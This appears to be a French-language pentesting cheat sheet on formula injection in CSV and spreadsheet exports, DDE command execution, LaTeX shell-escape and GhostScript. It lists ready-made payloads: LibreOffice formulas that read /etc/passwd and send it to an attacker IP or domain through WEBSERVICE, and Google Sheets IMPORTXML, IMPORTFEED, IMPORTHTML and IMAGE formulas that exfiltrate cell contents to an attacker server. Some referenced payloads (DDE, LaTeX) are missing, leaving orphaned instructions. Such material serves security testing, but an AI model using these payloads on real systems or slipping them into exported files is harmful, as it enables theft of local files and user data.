Formula/CSV/Doc/LaTeX/GhostScript Injection
Last updated
Last updated
Groupe de sécurité Try Hard
Si votre entrée est réfléchie à l'intérieur de fichiers CSV (ou de tout autre fichier qui sera probablement ouvert par Excel), vous pourriez être en mesure d'insérer des formules Excel qui seront exécutées lorsque l'utilisateur ouvre le fichier ou lorsqu'il clique sur un lien à l'intérieur de la feuille Excel.
De nos jours, Excel alertera (à plusieurs reprises) l'utilisateur lorsque quelque chose est chargé depuis l'extérieur d'Excel afin de l'empêcher d'effectuer des actions malveillantes. Par conséquent, un effort particulier en matière d'ingénierie sociale doit être appliqué au payload final.
L'exemple suivant est très utile pour exfiltrer du contenu de la feuille Excel finale et effectuer des requêtes vers des emplacements arbitraires. Mais cela nécessite que l'utilisateur clique sur le lien (et accepte les avertissements).
L'exemple suivant a été tiré de https://payatu.com/csv-injection-basic-to-exploit
Imaginez une violation de sécurité dans un système de gestion des dossiers étudiants exploitée à travers une attaque par injection CSV. L'intention principale de l'attaquant est de compromettre le système utilisé par les enseignants pour gérer les détails des étudiants. La méthode implique que l'attaquant injecte une charge malveillante dans l'application, en entrant spécifiquement des formules nocives dans les champs destinés aux détails des étudiants. L'attaque se déroule comme suit:
Injection de la charge malveillante:
L'attaquant soumet un formulaire de détails d'étudiant mais inclut une formule couramment utilisée dans les feuilles de calcul (par exemple, =HYPERLINK("<malicious_link>","Cliquez ici")
).
Cette formule est conçue pour créer un hyperlien, mais elle pointe vers un serveur malveillant contrôlé par l'attaquant.
Exportation des données compromises:
Les enseignants, inconscients de la compromission, utilisent la fonctionnalité de l'application pour exporter les données dans un fichier CSV.
Le fichier CSV, lorsqu'il est ouvert, contient toujours la charge malveillante. Cette charge apparaît comme un hyperlien cliquable dans la feuille de calcul.
Déclenchement de l'attaque:
Un enseignant clique sur le lien hypertexte, croyant qu'il fait partie légitime des détails de l'étudiant.
En cliquant, des données sensibles (pouvant inclure des détails de la feuille de calcul ou de l'ordinateur de l'enseignant) sont transmises au serveur de l'attaquant.
Enregistrement des données:
Le serveur de l'attaquant reçoit et enregistre les données sensibles envoyées depuis l'ordinateur de l'enseignant.
L'attaquant peut ensuite utiliser ces données à diverses fins malveillantes, compromettant davantage la confidentialité et la sécurité des étudiants et de l'institution.
Consultez le message original pour plus de détails.
Dans des configurations spécifiques ou des versions plus anciennes d'Excel, une fonctionnalité appelée Échange de Données Dynamique (DDE) peut être exploitée pour exécuter des commandes arbitraires. Pour tirer parti de cela, les paramètres suivants doivent être activés:
Accédez à Fichier → Options → Centre de confiance → Paramètres du Centre de confiance → Contenu externe, et activez Lancement du Serveur d'Échange de Données Dynamique.
Lorsqu'une feuille de calcul avec la charge malveillante est ouverte (et si l'utilisateur accepte les avertissements), la charge est exécutée. Par exemple, pour lancer l'application calculatrice, la charge serait:
Des commandes supplémentaires peuvent également être exécutées, telles que le téléchargement et l'exécution d'un fichier en utilisant PowerShell :
LibreOffice Calc peut être utilisé pour lire des fichiers locaux et exfiltrer des données. Voici quelques méthodes :
Lire la première ligne du fichier local /etc/passwd
: ='file:///etc/passwd'#$passwd.A1
Exfiltrer les données lues vers un serveur contrôlé par un attaquant : =WEBSERVICE(CONCATENATE("http://<adresse IP de l'attaquant>:8080/",('file:///etc/passwd'#$passwd.A1)))
Exfiltrer plus d'une ligne : =WEBSERVICE(CONCATENATE("http://<adresse IP de l'attaquant>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
Exfiltration DNS (envoi des données lues sous forme de requêtes DNS à un serveur DNS contrôlé par un attaquant) : =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<domaine de l'attaquant>"))
Google Sheets propose des fonctions qui peuvent être exploitées pour l'exfiltration de données OOB :
CONCATENATE : Concatène des chaînes de caractères - =CONCATENATE(A2:E2)
IMPORTXML : Importe des données à partir de types de données structurées - =IMPORTXML(CONCAT("http://<adresse IP de l'attaquant:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
IMPORTFEED : Importe des flux RSS ou ATOM - =IMPORTFEED(CONCAT("http://<adresse IP de l'attaquant:Port>//123.txt?v=", CONCATENATE(A2:E2)))
IMPORTHTML : Importe des données à partir de tableaux HTML ou de listes - =IMPORTHTML (CONCAT("http://<adresse IP de l'attaquant:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
IMPORTRANGE : Importe une plage de cellules d'une autre feuille de calcul - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[ID_de_la_feuille]", "feuille1!A2:E2")
IMAGE : Insère une image dans une cellule - =IMAGE("https://<adresse IP de l'attaquant:Port>/images/srpr/logo3w.png")
Généralement, les serveurs que l'on trouve sur Internet qui convertissent du code LaTeX en PDF utilisent pdflatex
.
Ce programme utilise 3 attributs principaux pour autoriser ou interdire l'exécution de commandes :
--no-shell-escape
: Désactive la construction \write18{command}
, même si elle est activée dans le fichier texmf.cnf.
--shell-restricted
: Identique à --shell-escape
, mais limité à un ensemble de commandes prédéfinies considérées comme 'sûres' (**Sur Ubuntu 16.04, la liste se trouve dans /usr/share/texmf/web2c/texmf.cnf
).
--shell-escape
: Active la construction \write18{command}
. La commande peut être n'importe quelle commande shell. Cette construction est normalement interdite pour des raisons de sécurité.
Cependant, il existe d'autres moyens d'exécuter des commandes, donc pour éviter une exécution de code à distance, il est très important d'utiliser --shell-restricted
.
Vous devrez peut-être ajuster l'injection avec des enveloppes comme [ ou $.
L'entrée de la commande sera redirigée vers stdin, utilisez un fichier temporaire pour l'obtenir.
Si vous rencontrez une erreur LaTex, envisagez d'utiliser base64 pour obtenir le résultat sans caractères indésirables
De @EdOverflow
Vérifier https://blog.redteam-pentesting.de/2023/ghostscript-overview/
Groupe de sécurité Try Hard